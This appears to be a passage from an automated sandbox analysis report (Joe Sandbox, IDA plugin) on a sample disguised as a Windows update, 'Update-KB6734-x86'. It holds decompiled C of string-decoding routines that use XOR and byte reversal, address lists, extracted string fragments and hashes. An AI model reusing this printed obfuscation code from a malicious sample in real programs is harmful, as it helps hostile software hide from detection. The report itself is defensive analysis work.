					 *((char*)(_t905 + _t900 + 0xec)) = _t702;
					_t900 = _t900 - 1;
				} while (_t792 < _t900);
				_v348 = _v332 ^ 0x0000005d;
				_v347 = _v331 ^ 0x000000ec;
				_v346 = _v330 ^ 0x000000b1;
				_v345 = _v329 ^ 0x00000033;
				_v344 = _v328 ^ 0x000000ee;
				_v504 = _v516;
				_v508 =  &_v308;
				_v500 =  &_v268;
				_v496 =  &_v244;
				_v492 =  &_v132;
				_v488 =  &_v540;
				_v484 =  &_v284;
				_v472 = _v512;
				_v480 =  &_v228;
				_v476 =  &_v188;
				_v468 = _v524;
				_v460 = _v520;
				_v464 =  &_v116;
				_v456 =  &_v212;
				_v452 =  &_v108;
				_v448 =  &_v172;
				_v444 = _v528;
				_v440 =  &_v532;
				_v436 =  &_v316;
				_v432 = _v552;
				_v428 =  &_v292;
				_v424 =  &_v100;
				_t576 =  &_v76; // 0x64
				_v420 = _t576;
				_v416 =  &_v196;
				_v412 =  &_v276;
				_v408 =  &_v156;
				 *0x431c89 = 0x19;
				_v332 = 0x73;
				_v331 = 0x68;
				_v330 = 0x61;
				_v329 = 0x72;
				_v328 = 0x6f;
				_v327 = 0x6e;
				_v326 = 0;
				_v404 = _t903;
				_v400 =  &_v140;
				_v396 =  &_v92;
				_t596 =  &_v300; // 0x6c
				_v392 = _t596;
				_t600 =  &_v252; // 0x68
				_v388 =  &_v148;
				_v380 =  &_v260;
				_v376 = _t600;
				_v372 =  &_v324;
				_v368 =  &_v236;
				_v364 =  &_v340;
				_t612 =  &_v204; // 0x72
				_v384 = _t886;
				_v360 =  &_v348;
				_v356 =  &_v332;
				_v352 = _t612;
				_t720 = E0040C1D0( &_v332);
				_t901 =  *((intOrPtr*)(_t905 + 0x38 + _t720 % 0x28 * 4));
				_t722 =  *((intOrPtr*)(_t905 + 0x38 + _t720 % 0x28 * 4));
				_t887 = _t722 + 1;
				do {
					_t810 =  *_t722;
					_t722 = _t722 + 1;
				} while (_t810 != 0);
				return E00424873(E004028A0(_v60, _t901, _t722 - _t887), _v76);
			}

0x0040dbf0
0x0040dbf6
0x0040dbfe
0x0040dc05
0x0040dc0d
0x0040dc12
0x0040dc1a
0x0040dc22
0x0040dc2a
0x0040dc32
0x0040dc39
0x0040dc3e
0x0040dc43
0x0040dc48
0x0040dc4d
0x0040dc52
0x0040dc57
0x0040dc5c
0x0040dc66
0x0040dc6a
0x0040dc72
0x0040dc7a
0x0040dc82
0x0040dc8a
0x0040dc92
0x0040dc99
0x0040dca1
0x0040dca9
0x0040dcb1
0x0040dcb9
0x0040dcc1
0x0040dcc9
0x0040dccb
0x0040dcd0
0x0040dcd7
0x0040dcde
0x0040dce5
0x0040dce6
0x0040dced
0x0040dcee
0x0040dd09
0x0040dd1f
0x0040dd2d
0x0040dd3b
0x0040dd4a
0x0040dd51
0x0040dd58
0x0040dd5f
0x0040dd66
0x0040dd6e
0x0040dd76
0x0040dd7e
0x0040dd86
0x0040dd8e
0x0040dd95
0x0040dd9d
0x0040dda5
0x0040ddad
0x0040ddb5
0x0040ddbd
0x0040ddc4
0x0040ddc9
0x0040ddce
0x0040ddd3
0x0040ddd7
0x0040dddf
0x0040dde7
0x0040ddef
0x0040ddf6
0x0040ddfe
0x0040de06
0x0040de0e
0x0040de16
0x0040de1d
0x0040de25
0x0040de2d
0x0040de35
0x0040de3d
0x0040de45
0x0040de4d
0x0040de4f
0x0040de60
0x0040de67
0x0040de6e
0x0040de75
0x0040de76
0x0040de7d
0x0040de7e
0x0040de9c
0x0040deaa
0x0040debd
0x0040dece
0x0040ded5
0x0040dedb
0x0040dee5
0x0040deea
0x0040def1
0x0040def8
0x0040defd
0x0040df02
0x0040df07
0x0040df0c
0x0040df11
0x0040df16
0x0040df1b
0x0040df20
0x0040df25
0x0040df2e
0x0040df36
0x0040df3a
0x0040df42
0x0040df4a
0x0040df52
0x0040df5a
0x0040df62
0x0040df6a
0x0040df72
0x0040df7a
0x0040df82
0x0040df8a
0x0040df92
0x0040df9f
0x0040dfa3
0x0040dfab
0x0040dfb3
0x0040dfbb
0x0040dfc3
0x0040dfcb
0x0040dfd3
0x0040dfdb
0x0040dfdd
0x0040dfe2
0x0040dfe9
0x0040dff0
0x0040dff7
0x0040dff8
0x0040dfff
0x0040e000
0x0040e01e
0x0040e02c
0x0040e042
0x0040e050
0x0040e05e
0x0040e065
0x0040e073
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e098
0x0040e0a0
0x0040e0a8
0x0040e0b0
0x0040e0b8
0x0040e0c0
0x0040e0c8
0x0040e0d0
0x0040e0d8
0x0040e0e0
0x0040e0e8
0x0040e0f0
0x0040e0f8
0x0040e100
0x0040e108
0x0040e115
0x0040e119
0x0040e121
0x0040e129
0x0040e131
0x0040e139
0x0040e141
0x0040e149
0x0040e14b
0x0040e150
0x0040e157
0x0040e15e
0x0040e165
0x0040e166
0x0040e16d
0x0040e16e
0x0040e18f
0x0040e19d
0x0040e1ab
0x0040e1c1
0x0040e1c8
0x0040e1cf
0x0040e1d6
0x0040e1de
0x0040e1e6
0x0040e1ee
0x0040e1f6
0x0040e1fe
0x0040e206
0x0040e20d
0x0040e215
0x0040e21d
0x0040e225
0x0040e22d
0x0040e235
0x0040e23d
0x0040e23f
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47d
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e589
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

r, xrefs: 0040EAB6
e, xrefs: 0040E63E
e, xrefs: 0040DDE7
@, xrefs: 0040DF62
x$], xrefs: 0040E376
s, xrefs: 0040E7B5
t, xrefs: 0040E964
dualc, xrefs: 0040EC6E
n, xrefs: 0040ECE3
d, xrefs: 0040DDC4
c, xrefs: 0040DD95
n, xrefs: 0040E1FE
lmada, xrefs: 0040ED07
s, xrefs: 0040ECBB
e, xrefs: 0040E99B
r, xrefs: 0040E7D5
n, xrefs: 0040E796
j, xrefs: 0040E626
y, xrefs: 0040E1E6
n, xrefs: 0040DC82
r, xrefs: 0040ECD3
n, xrefs: 0040E42C
a, xrefs: 0040E7DD
e, xrefs: 0040DDAD
b, xrefs: 0040DC6A
h, xrefs: 0040E39C
s, xrefs: 0040E108
a, xrefs: 0040DDDF
i, xrefs: 0040E78E
S, xrefs: 0040E71F
a, xrefs: 0040E9BA
j, xrefs: 0040E38C
t, xrefs: 0040E96C
<, xrefs: 0040E777
o, xrefs: 0040E1F6
(, xrefs: 0040E301
n, xrefs: 0040E7C5
C, xrefs: 0040E747
i, xrefs: 0040DE06
r, xrefs: 0040E9D2
l, xrefs: 0040E0E8
l, xrefs: 0040E786
m, xrefs: 0040E9F9
Ljq, xrefs: 0040E5C0
a, xrefs: 0040EAAE
d, xrefs: 0040E7CD
a, xrefs: 0040DDFE
d, xrefs: 0040DDD7
A, xrefs: 0040DF4A
6, xrefs: 0040E3C3
y, xrefs: 0040E974
s, xrefs: 0040E328
d, xrefs: 0040E79E
b, xrefs: 0040E954
j, xrefs: 0040DEFD
s, xrefs: 0040E1EE
a, xrefs: 0040DC22
hyb, xrefs: 0040ED23
a, xrefs: 0040E7A6
t, xrefs: 0040DC8A
e, xrefs: 0040DC7A
l, xrefs: 0040E520
e, xrefs: 0040E0F8
,, xrefs: 0040E30B
n, xrefs: 0040E636
a, xrefs: 0040E62E
3, xrefs: 0040E915
q, xrefs: 0040E557
a, xrefs: 0040E7BD
e, xrefs: 0040DC39
g, xrefs: 0040E73F
j, xrefs: 0040E55F
d, xrefs: 0040DC1A
n, xrefs: 0040E3A4
n, xrefs: 0040E9A3
a, xrefs: 0040E434
s, xrefs: 0040E9B2
A, xrefs: 0040E306
m, xrefs: 0040DC2A
O, xrefs: 0040E3DB
r, xrefs: 0040DD6E
c, xrefs: 0040E518
o, xrefs: 0040ECDB
y, xrefs: 0040DD9D
f, xrefs: 0040E2F7
l, xrefs: 0040EAC6
W, xrefs: 0040E141
e, xrefs: 0040E95C
o, xrefs: 0040E394
rebyc, xrefs: 0040ED77
n, xrefs: 0040E424
a, xrefs: 0040E528
,, xrefs: 0040E3CB
d, xrefs: 0040DE0E
n, xrefs: 0040E9C2
fna, xrefs: 0040E8D9
B, xrefs: 0040E2FC
!, xrefs: 0040E3FB
o, xrefs: 0040E3BB
a, xrefs: 0040E9DA
a, xrefs: 0040DC12
d, xrefs: 0040DDF6
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
r, xrefs: 0040DC72
o, xrefs: 0040EABE
b, xrefs: 0040DDA5
N, xrefs: 0040DF5A
i, xrefs: 0040DD7E
a, xrefs: 0040DD76
d, xrefs: 0040E9CA
n, xrefs: 0040DDCE
!, xrefs: 0040E323
g, xrefs: 0040DD86
h, xrefs: 0040ECC3
a, xrefs: 0040ECCB
u, xrefs: 0040E530
W, xrefs: 0040DF3A

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$c$c$c$d$d$d$d$d$d$d$d$dualc$e$e$e$e$e$e$e$e$f$fna$g$g$h$h$hyb$i$i$i$j$j$j$j$l$l$l$l$lmada$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$t$u$x$]$y$y$y
API String ID: 0-398216896
Opcode ID: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction ID: 783009e22913d8b145aff4382d8fc585394a81b2b82b9b90aaca791fecb38a32
Opcode Fuzzy Hash: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
Instruction Fuzzy Hash: 00A2CF2000D7C189E332C77894547DFBFD11BA6318F489E9ED4ED6A292C6BA0259CB77

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE56, Relevance: 114.4, Strings: 91, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040DE56(void* __eax, char __ebx, void* __esi, signed char _a1, signed char _a2, signed char _a3, intOrPtr _a4, char* _a8, void* _a12, char _a13, char _a14, char _a15, void* _a16, char _a17, char _a18, char _a19, char* _a20, char* _a24, char* _a28, char* _a32, intOrPtr _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, char* _a52, char* _a56, char* _a60, signed int _a64, char* _a68, signed int* _a72, intOrPtr _a76, signed int* _a80, char* _a84, intOrPtr _a88, char* _a92, char* _a96, char* _a100, intOrPtr _a104, signed char* _a108, char* _a112, intOrPtr _a116, char* _a120, intOrPtr _a124, char* _a128, intOrPtr _a132, char* _a136, signed char* _a140, signed int* _a144, signed char* _a148, signed int* _a152, intOrPtr _a156, signed char _a160, signed char _a161, signed char _a162, signed char _a163, signed char _a164, signed int _a165, signed int _a168, signed int _a169, signed int _a170, signed int _a171, signed int _a172, signed int _a173, signed int _a176, signed int _a177, signed int _a178, signed int _a179, signed int _a180, signed int _a181, char _a182, char _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, char _a200, signed int _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a240, char _a248, char _a249, char _a250, char _a251, char _a252, char _a253, char _a256, char _a257, char _a258, char _a259, char _a260, char _a261, char _a264, signed char _a272, signed char _a273, signed char _a274, signed char _a275, signed char _a276, signed char _a277, char _a280, char _a296, char _a304, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a320, signed char _a328, signed char _a329, signed char _a330, signed char _a331, signed char _a332, signed char _a333, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a352, char _a360, signed char _a368, signed char _a369, signed char _a370, signed char _a371, signed char _a372, signed char _a373, signed char _a376, signed char _a377, signed char _a378, signed char _a379, signed char _a380, signed char _a381, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a408, char _a416, signed char _a424, signed char _a425, signed char _a426, signed char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a432, signed char _a433, signed char _a434, signed char _a435, signed char _a436, signed char _a437, signed char _a438, char _a448, char _a449, char _a450, char _a451, char _a452, char _a453, char _a454, char _a455, char _a464, char _a465, char _a466, char _a467, char _a468, char _a469, char _a470, char _a471) {
				signed char _v0;
				char _v1;
				char _v2;
				char _v3;
				char _v4;
				intOrPtr _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				intOrPtr _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v44;
				void* _t545;
				char* _t551;
				void* _t553;
				void* _t561;
				void* _t566;
				void* _t573;
				void* _t579;
				void* _t586;
				void* _t592;
				void* _t599;
				char _t606;
				char _t611;
				signed int _t629;
				intOrPtr* _t631;
				char _t637;
				char _t645;
				char _t652;
				char _t657;
				char _t663;
				char _t673;
				char _t678;
				char _t684;
				void* _t690;
				void* _t695;
				intOrPtr _t713;
				intOrPtr _t782;
				void* _t783;
				void* _t785;
				signed int _t786;
				void* _t787;
				void* _t788;
				char _t789;
				signed int _t790;
				void* _t791;
				void* _t792;
				void* _t793;
				void* _t794;
				char _t795;
				intOrPtr _t799;
				void* _t801;

				_t785 = __esi;
				_t545 = __eax;
				do {
					_t637 =  *((intOrPtr*)(_t801 + _t545 + 0xd8));
					 *((char*)(_t801 + _t545 + 0xd8)) =  *((intOrPtr*)(_t801 + _t785 + 0xd8));
					_t545 = _t545 + 1;
					 *((char*)(_t801 + _t785 + 0xd8)) = _t637;
					_t785 = _t785 - 1;
				} while (_t545 < _t785);
				_a376 = _a216 ^ 0x00000048;
				_a377 = _a217 ^ 0x0000000d;
				_a378 = _a218 ^ 0x00000002;
				_a379 = _a219 ^ 0x00000003;
				_push(4);
				_a380 = _a220 ^ 0x0000000c;
				_push( &_a16);
				 *0x431c89 = 0x19;
				_a381 = _a221 ^ 0x00000085;
				_a16 = 0xc1;
				_a17 = 0x6a;
				_a18 = 0x1d;
				_a19 = 4;
				_a12 = 0xb0;
				_a13 = 0xd4;
				_a14 = 0xb1;
				_a15 = 0xdf;
				_t551 = E0040D980( &_a12);
				_push(6);
				_push( &_a392);
				_a44 = _t551;
				_a392 = 0x57;
				_a393 = 0xc8;
				_a394 = 0x41;
				_a395 = 3;
				_a396 = 0x4e;
				_a397 = 0x40;
				_a208 = 0xd4;
				_a209 = 0xb2;
				_a210 = 0xc0;
				_a211 = 0xa1;
				_a212 = 0xcf;
				_a213 = 0xa4;
				_a24 = E0040D980( &_a208);
				_a208 = 0x78;
				_a209 = 0x39;
				_a210 = 0xb1;
				_a211 = 0xa4;
				_a212 = 0xe;
				_a213 = 0x10;
				_a214 = 9;
				_t553 = 0;
				_t786 = 6;
				do {
					_t645 =  *((intOrPtr*)(_t801 + _t553 + 0xe0));
					 *((char*)(_t801 + _t553 + 0xe0)) =  *((intOrPtr*)(_t801 + _t786 + 0xe0));
					_t553 = _t553 + 1;
					 *((char*)(_t801 + _t786 + 0xe0)) = _t645;
					_t786 = _t786 - 1;
				} while (_t553 < _t786);
				_a432 = _a208 ^ 0x0000006e;
				_a433 = _a209 ^ 0x00000075;
				_a434 = _a210 ^ 0x00000061;
				_a435 = _a211 ^ 0x000000d6;
				_a436 = _a212 ^ 0x000000d6;
				_push(8);
				_push( &_a464);
				_a437 = _a213 ^ 0x0000005c;
				 *0x431c89 = 0x19;
				_a438 = _a214 ^ 0x00000078;
				_a464 = 0xef;
				_a465 = 0xb3;
				_a466 = 0x36;
				_a467 = 0x5a;
				_a468 = 0x64;
				_a469 = 0x36;
				_a470 = 0xbd;
				_a471 = 0x1b;
				_a224 = 0x1c;
				_a225 = 0x7b;
				_a226 = 0x1e;
				_a227 = 0x6c;
				_a228 = 4;
				_a229 = 0x65;
				_a230 = 0x17;
				_a231 = 0x73;
				_a20 = E0040D980( &_a224);
				_a192 = 0x1b;
				_a193 = 0xd3;
				_a194 = 0xb2;
				_a195 = 0xb7;
				_a196 = 0xd9;
				_a197 = 0x57;
				_t561 = 0;
				_t787 = 5;
				do {
					_t652 =  *((intOrPtr*)(_t801 + _t561 + 0xd8));
					 *((char*)(_t801 + _t561 + 0xd8)) =  *((intOrPtr*)(_t801 + _t787 + 0xd8));
					_t561 = _t561 + 1;
					 *((char*)(_t801 + _t787 + 0xd8)) = _t652;
					_t787 = _t787 - 1;
				} while (_t561 < _t787);
				_a328 = _a192 ^ 0x0000003d;
				_a329 = _a193 ^ 0x000000b8;
				_a330 = _a194 ^ 0x000000da;
				_a331 = _a195 ^ 0x000000d7;
				_a332 = _a196 ^ 0x000000a0;
				_a333 = _a197 ^ 0x0000001b;
				_a432 = 0x6a;
				_a433 = 0x61;
				_a434 = 0x79;
				_a435 = 0x73;
				_a436 = 0x6f;
				_a437 = 0x6e;
				_a438 = __ebx;
				_a192 = 0x5d;
				_a193 = 0xdf;
				_a194 = 0x27;
				_a195 = 0xb2;
				_a196 = 0x24;
				_a197 = 0xa9;
				_t566 = 0;
				_t788 = 5;
				do {
					_t657 =  *((intOrPtr*)(_t801 + _t566 + 0xd8));
					 *((char*)(_t801 + _t566 + 0xd8)) =  *((intOrPtr*)(_t801 + _t788 + 0xd8));
					_t566 = _t566 + 1;
					 *((char*)(_t801 + _t788 + 0xd8)) = _t657;
					_t788 = _t788 - 1;
				} while (_t566 < _t788);
				_a368 = _a192 ^ 0x000000c3;
				_a369 = _a193 ^ 0x00000041;
				_a370 = _a194 ^ 0x000000c0;
				_a371 = _a195 ^ 0x00000055;
				_push(4);
				_a372 = _a196 ^ 0x000000a6;
				_push( &_v4);
				 *0x431c89 = 0x19;
				_a373 = _a197 ^ 0x0000005d;
				_v4 = 0x89;
				_v3 = 0xda;
				_v2 = 8;
				_v1 = 0x66;
				_v12 = 0x42;
				_v11 = 0x28;
				_v10 = 0x41;
				_v9 = 0x2c;
				_a4 = E0040D980( &_v12);
				_v20 = 0xb7;
				_v19 = 0xde;
				_v18 = 0x21;
				_v17 = 0x73;
				_t573 = 0;
				_t789 = 3;
				do {
					_t663 =  *((intOrPtr*)(_t801 + _t573 + 0xc));
					 *((char*)(_t801 + _t573 + 0xc)) =  *((intOrPtr*)(_t801 + _t789 + 0xc));
					_t573 = _t573 + 1;
					 *((char*)(_t801 + _t789 + 0xc)) = _t663;
					_t789 = _t789 - 1;
				} while (_t573 < _t789);
				_v0 = _v20 ^ 0x00000019;
				_a1 = _v19 ^ 0x0000004e;
				_push(6);
				_push( &_a312);
				_t184 =  &_a184; // 0x78
				_a2 = _v18 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a3 = _v17 ^ 0x000000b7;
				_a216 = 0x6a;
				_a217 = 0x6f;
				_a218 = 0x68;
				_a219 = 0x6e;
				_a220 = __ebx;
				_a312 = 0xf5;
				_a313 = 0x6f;
				_a314 = 0x36;
				_a315 = 0x2c;
				_a316 = 0x84;
				_a317 = 0x4f;
				_a184 = 0x45;
				_a185 = 0x24;
				_a186 = 0x48;
				_a187 = 0x21;
				_a188 = 0x42;
				_a189 = 0x27;
				_v28 = E0040D980(_t184);
				_a232 = 0x61;
				_a233 = 0x6e;
				_a234 = 0x6e;
				_a235 = 0x61;
				_a236 = __ebx;
				_a184 = 0x6e;
				_a185 = 0x3b;
				_a186 = 0x97;
				_a187 = 0xd3;
				_a188 = 0x92;
				_a189 = 0xcb;
				_a190 = 0x44;
				_t579 = 0;
				_t790 = 6;
				do {
					_t218 = _t790 + 0xe0; // 0x6e
					_t220 = _t579 + 0xe0; // 0x6e
					 *((char*)(_t801 + _t579 + 0xe0)) =  *((intOrPtr*)(_t801 + _t218));
					_t579 = _t579 + 1;
					 *((char*)(_t801 + _t790 + 0xe0)) =  *((intOrPtr*)(_t801 + _t220));
					_t790 = _t790 - 1;
				} while (_t579 < _t790);
				_t225 =  &_a184; // 0x6e
				_a424 =  *_t225 ^ 0x00000026;
				_a427 = _a187 ^ 0x000000bd;
				_a425 = _a185 ^ 0x000000b9;
				_a426 = _a186 ^ 0x000000f7;
				_a430 = _a190 ^ 0x0000006e;
				_a428 = _a188 ^ 0x000000f3;
				_a429 = _a189 ^ 0x0000005a;
				_a448 = 0x63;
				_a449 = 0x6c;
				_a450 = 0x61;
				_a451 = 0x75;
				_a452 = 0x64;
				_a453 = 0x69;
				_a454 = 0x61;
				_a455 = __ebx;
				_a176 = 0x71;
				_a177 = 0x6a;
				_a178 = 0x4c;
				_a179 = 0x72;
				_a180 = 0x4d;
				_a181 = 1;
				_t586 = 0;
				_t791 = 5;
				do {
					_t673 =  *((intOrPtr*)(_t801 + _t586 + 0xd8));
					 *((char*)(_t801 + _t586 + 0xd8)) =  *((intOrPtr*)(_t801 + _t791 + 0xd8));
					_t586 = _t586 + 1;
					 *((char*)(_t801 + _t791 + 0xd8)) = _t673;
					_t791 = _t791 - 1;
				} while (_t586 < _t791);
				_t263 =  &_a178; // 0x4c
				_a328 = _a176 ^ 0x00000069;
				_t265 =  &_a179; // 0x72
				_a329 = _a177 ^ 0x00000028;
				_t267 =  &_a180; // 0x4d
				_a330 =  *_t263 ^ 0x0000001e;
				_a331 =  *_t265 ^ 0x00000029;
				_a178 = 0xb5;
				_a179 = 0xb5;
				_a332 =  *_t267 ^ 0x00000004;
				_a333 = _a181 ^ 0x00000071;
				_a248 = 0x6a;
				_a249 = 0x61;
				_a250 = 0x6e;
				_a251 = 0x65;
				_a252 = __ebx;
				_a176 = 0x16;
				_a177 = 0xa9;
				_a180 = 0x78;
				_a181 = 0xb9;
				_t592 = 0;
				_t792 = 5;
				do {
					_t678 =  *((intOrPtr*)(_t801 + _t592 + 0xd8));
					 *((char*)(_t801 + _t592 + 0xd8)) =  *((intOrPtr*)(_t801 + _t792 + 0xd8));
					_t592 = _t592 + 1;
					 *((char*)(_t801 + _t792 + 0xd8)) = _t678;
					_t792 = _t792 - 1;
				} while (_t592 < _t792);
				_a368 = _a176 ^ 0x000000d4;
				_a369 = _a177 ^ 0x00000019;
				_a370 = _a178 ^ 0x000000c7;
				_a371 = _a179 ^ 0x000000dc;
				_push(6);
				_a372 = _a180 ^ 0x000000c8;
				_push( &_a400);
				 *0x431c89 = 0x19;
				_a373 = _a181 ^ 0x00000016;
				_a400 = 0x53;
				_a401 = 0x8b;
				_a402 = 0xa2;
				_a403 = 0x94;
				_a404 = 0x67;
				_a405 = 0x43;
				_a176 = 0x66;
				_a177 = 0x35;
				_a178 = 0x40;
				_a179 = 0x33;
				_a180 = 0x52;
				_a181 = 0x3c;
				_t799 = E0040D980( &_a176);
				_a376 = 0x6c;
				_a377 = 0x69;
				_a378 = 0x6e;
				_a379 = 0x64;
				_a380 = 0x61;
				_a381 = __ebx;
				_a424 = 0x73;
				_a425 = 0x61;
				_a426 = 0x6e;
				_a427 = 0x64;
				_a428 = 0x72;
				_a429 = 0x61;
				_a430 = __ebx;
				_a216 = 0x6c;
				_a217 = 0x69;
				_a218 = 0x73;
				_a219 = 0x61;
				_a220 = __ebx;
				_a168 = 0x61;
				_a169 = 1;
				_a170 = 0x45;
				_a171 = 0xff;
				_a172 = 0x6e;
				_a173 = 0xf4;
				_t599 = 0;
				_t793 = 5;
				do {
					_t684 =  *((intOrPtr*)(_t801 + _t599 + 0xdc));
					 *((char*)(_t801 + _t599 + 0xdc)) =  *((intOrPtr*)(_t801 + _t793 + 0xdc));
					_t599 = _t599 + 1;
